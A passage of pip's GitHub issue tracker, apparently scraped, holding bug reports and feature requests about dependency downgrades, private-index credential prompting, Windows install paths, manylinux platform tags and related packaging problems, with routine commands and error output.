/Users/pradyunsg/Developer/pip/NEWS.rst:1600: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5949' could be replaced by an extlink (try using ':issue:`5949`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1601: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5888' could be replaced by an extlink (try using ':issue:`5888`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1602: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5984' could be replaced by an extlink (try using ':issue:`5984`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1615: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4187' could be replaced by an extlink (try using ':issue:`4187`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1618: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5355' could be replaced by an extlink (try using ':issue:`5355`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1619: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5375' could be replaced by an extlink (try using ':issue:`5375`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1620: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5525' could be replaced by an extlink (try using ':issue:`5525`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1621: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5561' could be replaced by an extlink (try using ':issue:`5561`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1622: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5798' could be replaced by an extlink (try using ':issue:`5798`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1627: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/2037' could be replaced by an extlink (try using ':issue:`2037`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1628: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5433' could be replaced by an extlink (try using ':issue:`5433`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1630: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5624' could be replaced by an extlink (try using ':issue:`5624`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1631: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5644' could be replaced by an extlink (try using ':issue:`5644`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1632: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5670' could be replaced by an extlink (try using ':issue:`5670`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1634: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5679' could be replaced by an extlink (try using ':issue:`5679`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1635: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5751' could be replaced by an extlink (try using ':issue:`5751`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1636: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5819' could be replaced by an extlink (try using ':issue:`5819`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1651: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/user_guide_fix_requirements_file_ref' could be replaced by an extlink (try using ':issue:`user_guide_fix_requirements_file_ref`' instead)
/Users/pradyunsg/Developer/pip/docs/html/user_guide.rst:143: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/988' could be replaced by an extlink (try using ':issue:`988`' instead)
/Users/pradyunsg/Developer/pip/docs/html/user_guide.rst:298: WARNING: hardcoded link 'https://pypi.org/project/wheel/' could be replaced by an extlink (try using ':pypi:`wheel`' instead)
/Users/pradyunsg/Developer/pip/docs/html/user_guide.rst:1052: WARNING: hardcoded link 'https://pypi.org/project/tensorflow/' could be replaced by an extlink (try using ':pypi:`tensorflow`' instead)
/Users/pradyunsg/Developer/pip/docs/html/user_guide.rst:1104: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8661' could be replaced by an extlink (try using ':issue:`8661`' instead)
/Users/pradyunsg/Developer/pip/docs/html/ux_research_design.rst:10: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8518' could be replaced by an extlink (try using ':issue:`8518`' instead)
/Users/pradyunsg/Developer/pip/docs/html/ux_research_design.rst:11: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8515' could be replaced by an extlink (try using ':issue:`8515`' instead)
/Users/pradyunsg/Developer/pip/docs/html/ux_research_design.rst:12: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8516' could be replaced by an extlink (try using ':issue:`8516`' instead)
/Users/pradyunsg/Developer/pip/docs/html/ux_research_design.rst:13: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8517' could be replaced by an extlink (try using ':issue:`8517`' instead)
/Users/pradyunsg/Developer/pip/docs/html/ux_research_design.rst:44: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/new' could be replaced by an extlink (try using ':issue:`new`' instead)
```

</details>
user: pradyunsg
issue_10807: state: open
title: pip silently downgrades dependent modules
body: ### Description

Exactly the same as issue #5068 . But it's locked so I have to create a new one.

I know pip has a dependency resolver now, but in many cases it does not help.

1. pip only tracks Python scripts that are packed and installed as libraries, but many people have local scripts outside site-packages. pip can silently break them with no warning.

2. In our case a sdist package requires numpy with no version constraint, but needs rebuild when numpy ABI changes. One of our indirect dependency requires an old version of numpy and pip silently downgraded it, making the sdist package broken.

In the original issue pip dev mentioned upgrade-strategy, but seems it has nothing to do with above scenarios.

Because our project is a published general library, we cannot do tricks like pip freeze.

### Expected behavior

_No response_

### pip version

21.3.1

### Python version

3.9

### OS

linux

### How to Reproduce

1. Install source package of ConfigSpace.
2. Install a package that requires numpy < 1.22. (In fact I don't know which package it is. pip says "Collecting numpy<1.22" but does not tell me why.)
3. Import ConfigSpace. It raises: ValueError: numpy.ndarray size changed, may indicate binary incompatibility. Expected 96 from C header, got 88 from PyObject

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: cruiseliu
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10806: state: open
title: Unable to prompt user for credentials for private pypi repo
body: ### Description

Hi - I was wondering if you could help work out the best way to get this functionality working again please. I'm happy to write a PR to fix this if we can agree on a good solution.

## Issue

I wish to install a package from a password-protected private pypi repo, from my Windows machine, and for `pip install` to prompt me for my username and password to achieve this - this used to work.

The command I believe is correct for this, which on `21.0.1` successfully prompts me for a username and password, is:

```bash
pip install --extra-index-url https://username:password@my.private.artifactory.host/api/pypi/pypi-this-particular-repo/simple my-desired-package
```

n.b. these are the literal strings "username" and "password" rather than real credentials.

In all versions I have tried since then, and on `main`, no password is requested and I instead proceed to the "Could not find a version that satisfies..." error.

## Analysis of network/auth.py

My understanding of the prompting code is that it gets triggered by `handle_401`, the 401 response having been triggered by the initial request, as it was attempted with Basic Auth but with incorrect credentials. In `21.0.1`, I get to `_prompt_for_password`, but in recent versions it never gets there, because the additional call to `_get_new_credentials` added in 886275de2d7f92823c812fd0b89a402560c357df returns the literal strings "username" and "password" once more, and so skips the prompt check.

One's first thought might be to try to remove "`username:password@`" from the index URL, in the hope this is no longer needed. Alas, under this input, `pip install`'s behaviour is to not wrap the initial request in Basic Auth at all, and so `handle_401` is never reached (in the case of our particular of private repos at least.)

It is of course possible that I am formatting this index URL incorrectly or otherwise mistaken - please let me know if so! But otherwise I would like to work out how to fix this behaviour, without breaking anyone else's scenarios.

The intent of 886275de2d7f92823c812fd0b89a402560c357df seems clear enough: to move the keyring call later, after 401s only, for performance. But it seems to have had the side effect of making the deliberately-incorrect, literal username and password be re-tried in that scenario, instead of prompting for something. I can't see this being desired, or indeed this ever succeeding.

There are two calls to `_get_url_and_credentials`, the "happy path" one and the "post-401" one, distinguished by each having exactly one of `allow_netrc` and `allow_keyring` True - this feels like sensible re-use of code, given the common URL parsing at the start. There is a section of the method commented, "# If an index URL was found, try its embedded credentials", which can return, and does so on the path to reproducing this bug for me. I suggest that disallowing the return here in the "post-401" case may be a sufficient change to make the right fix here.

Firstly - do you think that this suggested change would be right to make? Below I will briefly consider how this might be implemented.

## Options for altering `_get_new_credentials`

The smallest change that implements my suggestion would be to add another argument to `_get_new_credentials`, e.g. `allow_url`, whose Falseness would stop the `# If an index URL was found, try its embedded credentials` section from returning. I have implemented this on a branch: https://github.com/pypa/pip/compare/main...tmct:tmct/private-repo-prompt-1

However, we may wish to refactor `_get_new_credentials` and its calls - with this change it would effectively become two distinct functions, `_get_new_credentials_from_url_netrc` and `_get_new_credentials_from_keyring` - maybe moving explicitly to this pattern would make things more clear? (With common code in a third method, say)

## Other

`--index-url` exhibits similar behaviour, and would be similarly affected by any change


Thanks


### Expected behavior

See above - user should be prompted for username and password, as before. These should then be used successfully to authenticate.

### pip version

21.0.1 < version <= current HEAD of main

### Python version

3.8

### OS

Windows 10

### How to Reproduce

Run `pip install` command in Description above, pointed at a password-protected private pypi repo

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tmct
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10802: state: open
title: Wrong install directory on pip install editable
body: ### Description

# Problem
When installing a local package as in editable mode to venv, during the installation process, the installation directory is changed:

Expected: D:\project-name\\.venv\Lib\site-packages\
Found: C:\Program Files\project-name\\.venv\Lib\site-packages\ - (non existant)

and the following error thrown:
```
error: can't create or remove files in install directory

The following error occurred while trying to add or remove files in the
installation directory:

    [WinError 5] Access is denied: 'c:\\program files\\project-name'

The installation directory you specified (via --install-dir, --prefix, or
the distutils default setting) was:

    C:\Program Files\project-name\Lib\site-packages\

This directory does not currently exist.  Please create it and try again, or
choose a different installation directory (using the -d or --install-dir
option).
```

## Environment
- Windows 10
- python 3.9.9
- pip 21.3.1

## Attempted steps
1. using a clean virtual environment
2. no configurations for pip installation directory found
3. workaround of issue #7953 

# Workaround
It is possible to work around this issue by adding the following argument:
```
pip install --install-option="--install-dir=.\\.venv\\Lib\\site-packages" -e .
```
In this case, the installation process ends sucessfully and all dependencies are correctly installed.

# Files

requirements.txt
```
pytest
cx_Freeze
```

Setup.py
```
from setuptools import find_packages
from cx_Freeze import setup, Executable

setup(
    name="project_name",
    version="0.0.1",
    packages=find_packages(),
    entry_points={"console_scripts": ["entry=project-src.cli:cli"]},
    executables=[Executable("custom-executable.py")],
    install_requires=[
        "numpy",
        "pandas",
        "matplotlib",
        "toml",
        "tqdm",
    ],
)
```

### Expected behavior

No error and the local project is installed to the virtual environnment as editable dependency.

### pip version

21.3.1

### Python version

3.9.9

### OS

Windows 10

### How to Reproduce

1. ```python -m venv .venv```
2. ```.\.venv\Scripts\Activate.ps1```
3. ```python -m pip install --upgrade pip```
4. ```pip install -r requirements.txt```
5. ```pip install -e .```

### Output

```sh-session
PS D:\project-name> python -m venv .venv
PS D:\project-name> .\.venv\Scripts\Activate.ps1
(.venv) PS D:\project-name> python -m pip install --upgrade pip
Requirement already satisfied: pip in d:\project-name\.venv\lib\site-packages (21.2.4)
Collecting pip
  Using cached pip-21.3.1-py3-none-any.whl (1.7 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 21.2.4
    Uninstalling pip-21.2.4:
      Successfully uninstalled pip-21.2.4
Successfully installed pip-21.3.1
(.venv) PS D:\project-name> pip install -r requirements.txt    
Collecting pytest
  Using cached pytest-6.2.5-py3-none-any.whl (280 kB)
Collecting cx_Freeze
  Using cached cx_Freeze-6.9-cp39-cp39-win_amd64.whl (207 kB)
Collecting iniconfig
  Using cached iniconfig-1.1.1-py2.py3-none-any.whl (5.0 kB)
  Using cached toml-0.10.2-py2.py3-none-any.whl (16 kB)
Collecting py>=1.8.2
  Using cached py-1.11.0-py2.py3-none-any.whl (98 kB)
Collecting pluggy<2.0,>=0.12
  Using cached pluggy-1.0.0-py2.py3-none-any.whl (13 kB)
Collecting atomicwrites>=1.0
  Using cached atomicwrites-1.4.0-py2.py3-none-any.whl (6.8 kB)
Collecting attrs>=19.2.0
  Using cached attrs-21.4.0-py2.py3-none-any.whl (60 kB)
Collecting colorama
  Using cached colorama-0.4.4-py2.py3-none-any.whl (16 kB)
Collecting packaging
  Using cached packaging-21.3-py3-none-any.whl (40 kB)
Collecting importlib-metadata>=4.3.1
  Using cached importlib_metadata-4.10.1-py3-none-any.whl (17 kB)
Collecting cx-logging>=3.0
  Using cached cx_Logging-3.0-cp39-cp39-win_amd64.whl (26 kB)
Collecting zipp>=0.5
  Using cached zipp-3.7.0-py3-none-any.whl (5.3 kB)
Collecting pyparsing!=3.0.5,>=2.0.2
  Using cached pyparsing-3.0.6-py3-none-any.whl (97 kB)
Installing collected packages: zipp, pyparsing, toml, py, pluggy, packaging, iniconfig, importlib-metadata, cx-logging, colorama, attrs, atomicwrites, pytest, cx-Freeze
Successfully installed atomicwrites-1.4.0 attrs-21.4.0 colorama-0.4.4 cx-Freeze-6.9 cx-logging-3.0 importlib-metadata-4.10.1 iniconfig-1.1.1 packaging-21.3 pluggy-1.0.0 py-1.11.0 pyparsing-3.0.6 pytest-6.2.5 toml-0.10.2 zipp-3.7.0
(.venv) PS D:\project-name> pip install -e .
Obtaining file:///D:/project-name
  Preparing metadata (setup.py) ... done
Collecting numpy
  Using cached numpy-1.22.1-cp39-cp39-win_amd64.whl (14.7 MB)
Collecting pandas
  Using cached pandas-1.3.5-cp39-cp39-win_amd64.whl (10.2 MB)
Collecting matplotlib
  Using cached matplotlib-3.5.1-cp39-cp39-win_amd64.whl (7.2 MB)
Requirement already satisfied: toml in d:\project-name\.venv\lib\site-packages (from project-name==0.0.1) (0.10.2)
Collecting tqdm
  Using cached tqdm-4.62.3-py2.py3-none-any.whl (76 kB)
Requirement already satisfied: pyparsing>=2.2.1 in d:\project-name\.venv\lib\site-packages (from matplotlib->project-name==0.0.1) (3.0.6)
Collecting python-dateutil>=2.7
  Using cached python_dateutil-2.8.2-py2.py3-none-any.whl (247 kB)
Collecting fonttools>=4.22.0
  Using cached fonttools-4.28.5-py3-none-any.whl (890 kB)
Requirement already satisfied: packaging>=20.0 in d:\project-name\.venv\lib\site-packages (from matplotlib->project-name==0.0.1) (21.3)
Collecting cycler>=0.10
  Using cached cycler-0.11.0-py3-none-any.whl (6.4 kB)
Collecting kiwisolver>=1.0.1
  Using cached kiwisolver-1.3.2-cp39-cp39-win_amd64.whl (52 kB)
Collecting pillow>=6.2.0
  Using cached Pillow-9.0.0-cp39-cp39-win_amd64.whl (3.2 MB)
Collecting pytz>=2017.3
  Using cached pytz-2021.3-py2.py3-none-any.whl (503 kB)
Requirement already satisfied: colorama in d:\project-name\.venv\lib\site-packages (from tqdm->project-name==0.0.1) (0.4.4)
Collecting six>=1.5
  Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: six, pytz, python-dateutil, pillow, numpy, kiwisolver, fonttools, cycler, tqdm, pandas, matplotlib, project-name
  Running setup.py develop for project-name
    ERROR: Command errored out with exit status 1:
     command: 'D:\project-name\.venv\Scripts\python.exe' -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'D:\\project-name\\setup.py'"'"'; __file__='"'"'D:\\woreplace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps
    Complete output (17 lines):
    running develop
    error: can't create or remove files in install directory

    The following error occurred while trying to add or remove files in the
    installation directory:

        [WinError 5] Access is denied: 'c:\\program files\\project-name'

    The installation directory you specified (via --install-dir, --prefix, or
    the distutils default setting) was:

        C:\Program Files\project-name\Lib\site-packages\

    This directory does not currently exist.  Please create it and try again, or
    choose a different installation directory (using the -d or --install-dir
    option).

    ----------------------------------------
ERROR: Command errored out with exit status 1: 'D:\project-name\.venv\Scripts\python.exe' -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'D:\\project-name\\setup.py'"'"'; __file__='"'"'D:\\project-name\\setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps Check the logs for full command output.
```


### Code of Conduct

- [x] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jacktraror
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
state: needs reproducer: Need to reproduce issue
issue_10794: state: open
title: /usr/bin/python: malloc(): memory corruption: 0x0050d500
body: ### Description

```
root@ATK-IMX6U:~/get/pycoco# pip install cssutils-2.3.0-py3-none-any.whl
Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple
Processing ./cssutils-2.3.0-py3-none-any.whl
*** Error in `/usr/bin/python': malloc(): memory corruption: 0x0050d500 ***
Aborted
root@ATK-IMX6U:~/get/pycoco# pip -V
pip 20.1.1 from /opt/python-3.7.9/lib/python3.7/site-packages/pip (python 3.7)
root@ATK-IMX6U:~/get/pycoco#
```

### Expected behavior

_No response_

### pip version

20.1.1

### Python version

3.7.9

### OS

Linux ATK-IMX6U 4.1.15-g06f53e4 #1 SMP PREEMPT Sat Nov 27 18:39:27 CST 2021 armv7l armv7l armv7l GNU/Linux

### How to Reproduce

pip install cssutils-2.3.0-py3-none-any.whl

### Output

```sh-session
root@ATK-IMX6U:~/get/pycoco# pip install cssutils-2.3.0-py3-none-any.whl
Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple
Processing ./cssutils-2.3.0-py3-none-any.whl
*** Error in `/usr/bin/python': malloc(): memory corruption: 0x0050d500 ***
Aborted
root@ATK-IMX6U:~/get/pycoco# pip -V
pip 20.1.1 from /opt/python-3.7.9/lib/python3.7/site-packages/pip (python 3.7)
root@ATK-IMX6U:~/get/pycoco#
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: WHG555
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10793: state: open
title: More information about *why* a wheel is not supported on a given platform
body: ### What's the problem this feature will solve?

I maintain a set of wheel files with Python extension modules. Hence the binaries are Python version intolerant, OS version intolerant, and CPU architecture intolerant. I do not maintain all combinations of all platforms, Python versions, and CPU architecture.

Hence I often receive the following bug report:

`ERROR: foo-1.2.0-cp39-cp39-macosx_12_0_x86_64.whl is not a supported wheel on this platform.`

I have identified five separate causes for this error:

- Using `pip` associated with `python3.8` (wrong interpreter)
- Trying to installing on Linux (wrong OS)
- Trying to installing on MacOS Big Sur, instead of Monterrey (wrong OS version)
- Trying to installing on M1 (wrong CPU architecture)
- Trying to install a debug wheel with a release Python virtualenv (wrong debug)

### Describe the solution you'd like

When the error is reported, it would be helpful to be given information about *why* the wheel is unsupported. For example,

```
$ python3.8 -m pip install  foo-1.2.0-cp39-cp39-macosx_12_0_x86_64.whl
```

Should yield the following error:

```
ERROR: Wheel file `foo-1.2.0-cp39-cp39-macosx_12_0_x86_64.whl` requires Python3.9, but attempting to install it with Python3.8.
```

If the architecture is M1, then

```
$ python3.9 -m pip install  foo-1.2.0-cp39-cp39-macosx_12_0_x86_64.whl
```

should yield the error

```
ERROR: Wheel file foo-1.2.0-cp39-cp39-macosx_12_0_x86_64.whl targets x86, but this platform is ARM.
```

### Alternative Solutions

I have not tried alternative solutions; moreover I confess that this might be a feature request against `wheel`.

### Additional context

[This stackoverflow post](https://stackoverflow.com/questions/28568070/filename-whl-is-not-supported-wheel-on-this-platform) shows that other people would also like to know why a wheel is not supported.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: NAThompson
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10785: state: open
title: Document --no-user option
body: ### What's the problem this feature will solve?

Include this sometimes useful flag in the official docs to help userbase 

### Describe the solution you'd like

Why is the help for this flag suppressed? Can a simple explanation be added?

### Alternative Solutions

N/A

### Additional context

N/A

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: bkief
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10784: state: open
title: Warn users if there is a higher package version that cannot be installed
body: ### What's the problem this feature will solve?

I'm the developer of a package whose current version requires at least Python 3.8. This is reflected in `python_requires` in `setup.py`. The last version to support 3.7 is rather old and broken in many ways. When people run into issues with it, the advice is naturally to upgrade to the latest version.

The problem here is that if you run `pip install --upgrade $PACKAGE` under Python 3.7 (tested with Python 3.7.9, pip 21.3.1, setuptools 60.5.0), it will simply report that everything's fine ('Requirement already satisfied'). Most importantly, it does not indicate at all that there is a newer version of the package which is incompatible with the Python version. `pip index versions $PACKAGE`, `pip install ${PACKAGE}==`, and friends also only list the compatible versions. There are very good reasons for this, of course. However, in particular for people unfamiliar with `python_requires`, this results in them thinking they already have the current version of a package when they don't.

### Describe the solution you'd like

I would like to see a warning on *at least* `pip install --upgrade` and `pip index versions` if higher version numbers get ignored, e.g.

> WARNING: Ignoring newer versions of $PACKAGE (1.2.3, 1.2.4, ...) which are not compatible with your version of Python.

I'm not all that familiar with the intricacies, so please excuse my ignorance about other reasons why package versions might get pruned from the installation candidates. A more generic warning than just the Python version might be needed instead. However, from a user perspective, ideally it would tell all the relevant details, e.g. also 'requires at least Python 3.8' in this particular case.

### Alternative Solutions

Other than checking from within the package what the current version is and printing a warning at execution time (as PRAW is doing with update_checker, for example), which has always annoyed me as a user and is definitely not a route I want to take, I cannot think of other approaches since the package code is not involved at all in this step of the installation process to my knowledge.

### Additional context

The specific package, if relevant, is snscrape. Version 0.3.4 is the last to support Python 3.7.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: JustAnotherArchivist
labels: type: feature request: Request for a new feature
UX: User experience related
issue_10781: state: open
title: Equivalent to extras_require but which overrides install_requires
body: ### What's the problem this feature will solve?

I would like to be able to specify e.g.

```
pip install package[alternative]
```

where ``alternative`` specifies a set of dependencies that *overrides* the requirements in ``install_requires`` rather than extends it.

An example of why this could be useful - in various projects I am involved in I currently have to tell users to use ``pip install package[recomended]`` since I also want to keep a way to do a minimal install (with ``pip install package``). However, most users don't read documentation and therefore don't necessarily realise the existence of ``[recommended]``. Therefore it would be much nicer for users to have ``pip install package`` install all recommended dependencies and ``pip install package[minimal]`` only install minimal dependencies.

### Describe the solution you'd like

I think the cleanest way to do this as a package developer would be able to have a section called e.g. ``alt_requires`` or ``alternative_requires`` which is identical to ``extras_requires`` except that it replaces rather than extends ``install_requires``.

### Alternative Solutions

Currently I have to tell users to install ``package[recommended]`` but many users miss that they can do this.

### Additional context

This came up as part of a discussion of https://github.com/astropy/astropy/issues/12448 - basically for astropy we really want users to have scipy be installed by default but still want users to be able to do ``pip install astropy[minimal]`` to be able to get a minimal install.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: astrofrog
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10760: state: open
title: pip doesn't handle PEP600 compatible manylinux wheels when --platform is specified.
body: ### Description

When pip is asked to install or download a manylinux wheel and the `--platform` option is specified, it fails to find either tag aliases, or to download an "earlier" manylinux tag, if there was no exact match.

The manylinux project defines the following legacy aliases in [PEP 600](https://www.python.org/dev/peps/pep-0600/#legacy-manylinux-tags):

- manylinux1_x86_64 is now an alias for manylinux_2_5_x86_64
- manylinux1_i686 is now an alias for manylinux_2_5_i686
- manylinux2010_x86_64 is now an alias for manylinux_2_12_x86_64
- manylinux2010_i686 is now an alias for manylinux_2_12_i686
- manylinux2014_x86_64 is now an alias for manylinux_2_17_x86_64
- manylinux2014_i686 is now an alias for manylinux_2_17_i686
- manylinux2014_aarch64 is now an alias for manylinux_2_17_aarch64
- manylinux2014_armv7l is now an alias for manylinux_2_17_armv7l
- manylinux2014_ppc64 is now an alias for manylinux_2_17_ppc64
- manylinux2014_ppc64le is now an alias for manylinux_2_17_ppc64le
- manylinux2014_s390x is now an alias for manylinux_2_17_s390x

... these tags should be equivalent to each other.

In addition, manylinux tags are supposed to be forward compatible - if a particular platform is specified, it should find the "latest" tag, if no exact match was found.

### Expected behavior

pip downloads a compatible manylinux wheel.



### pip version

21.3.1

### Python version

3.8.10

### OS

Ubuntu 20.04

### How to Reproduce

```
$ python3 -m pip download -d /tmp/d --only-binary :all: --platform manylinux2010_x86_64 numpy==1.19.0
$ python3 -m pip download -d /tmp/d --only-binary :all: --platform manylinux2014_x86_64 numpy==1.19.0
$ python3 -m pip download -d /tmp/d --only-binary :all: --platform manylinux_2_12_x86_64 numpy==1.19.0
$ python3 -m pip download -d /tmp/d --only-binary :all: --platform manylinux_2_17_x86_64 numpy==1.19.0
$ python3 -m pip download -d /tmp/d --only-binary :all: --platform manylinux_2_24_x86_64 numpy==1.19.0
$ python3 -m pip download -d /tmp/d --only-binary :all: --platform manylinux_2_17_x86_64 numpy==1.22.0
$ python3 -m pip download -d /tmp/d --only-binary :all: --platform manylinux_2_24_x86_64 numpy==1.22.0
```
(The problem affects any wheel on pypi, numpy was just chosen as a well known package)

The first five commands should find the same `manylinux2010` wheel, but only the first two commands do so.
The last two commands should find the same `manylinux_2_17` wheel, but only the first command does so.

### Output

```sh-session
Collecting numpy==1.19.0
  Downloading numpy-1.19.0-cp38-cp38-manylinux2010_x86_64.whl (14.6 MB)
     |████████████████████████████████| 14.6 MB 4.5 MB/s 
  Saved /tmp/d/numpy-1.19.0-cp38-cp38-manylinux2010_x86_64.whl
Successfully downloaded numpy
Collecting numpy==1.19.0
  File was already downloaded /tmp/d/numpy-1.19.0-cp38-cp38-manylinux2010_x86_64.whl
Successfully downloaded numpy
ERROR: Could not find a version that satisfies the requirement numpy==1.19.0 (from versions: 1.20.3, 1.21.0rc1, 1.21.0rc2, 1.21.0, 1.21.1, 1.21.2, 1.21.3, 1.21.4, 1.21.5)
ERROR: No matching distribution found for numpy==1.19.0
ERROR: Could not find a version that satisfies the requirement numpy==1.19.0 (from versions: 1.22.0rc1, 1.22.0rc2, 1.22.0rc3, 1.22.0)
ERROR: No matching distribution found for numpy==1.19.0
ERROR: Could not find a version that satisfies the requirement numpy==1.19.0 (from versions: none)
ERROR: No matching distribution found for numpy==1.19.0
Collecting numpy==1.22.0
  Downloading numpy-1.22.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (16.8 MB)
     |████████████████████████████████| 16.8 MB 166 kB/s 
  Saved /tmp/d/numpy-1.22.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Successfully downloaded numpy
ERROR: Could not find a version that satisfies the requirement numpy==1.22.0 (from versions: none)
ERROR: No matching distribution found for numpy==1.22.0
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Clockwork-Muse
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
issue_10758: state: open
title: pip upgrade fails with "Successfully installed"
body: ### Description

I've set a `global.target` configuration under `C:\ProgramData\pip\pip.ini`

```
[global]
target = C:\Program Files\Python\3.10\pip\site-packages\
```

Next when attempting an upgrade of pip from v21.2.4 to v21.3.1 no changes will be made despite a `Successfully installed pip-21.3.1` message.

### Expected behavior

`pip install -v --upgrade pip` should either update the current version or display an error message.

### pip version

21.2.4

### Python version

3.10.1

### OS

Windows 11 (OS Build 22000.376)

### How to Reproduce

1. Install python from "python-3.10.1-amd64.exe"
2. Create `pip.ini` under `C:\ProgramData\pip\` with the following contents:
```
[global]
target = C:\Program Files\Python\3.10\pip\site-packages\
```
3. Move the `site-packages` directory to its new location.
4. Ensure the current user has sufficient acces to the `C:\Program Files\Python\3.10\pip\site-packages\` directory.
    I've given full access to the `User` group
5. attempt to update pip though the command `pip install -v --upgrade pip`

### Output

```sh-session
PS C:\Users\Janos> pip config list
global.target='C:\\Program Files\\Python\\3.10\\pip\\site-packages\\'

PS C:\Users\Janos> pip list
Package    Version
---------- -------
pip        21.2.4
setuptools 58.1.0
WARNING: You are using pip version 21.2.4; however, version 21.3.1 is available.
You should consider upgrading via the 'C:\Program Files\Python\3.10\python.exe -m pip install --upgrade pip' command.

PS C:\Users\Janos> pip show pip
Name: pip
Version: 21.2.4
Summary: The PyPA recommended tool for installing Python packages.
Home-page: https://pip.pypa.io/
Author: The pip developers
Author-email: distutils-sig@python.org
License: MIT
Location: c:\program files\python\3.10\lib\site-packages
Requires:
Required-by:

PS C:\Users\Janos> icacls "C:\Program Files\Python\3.10\pip\site-packages"
C:\Program Files\Python\3.10\pip\site-packages BUILTIN\Users:(I)(OI)(CI)(F)
                                               NT SERVICE\TrustedInstaller:(I)(F)
                                               NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                               NT AUTHORITY\SYSTEM:(I)(F)
                                               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                               BUILTIN\Administrators:(I)(F)
                                               BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                               BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                               Hyron-1\Janos:(I)(F)
                                               CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

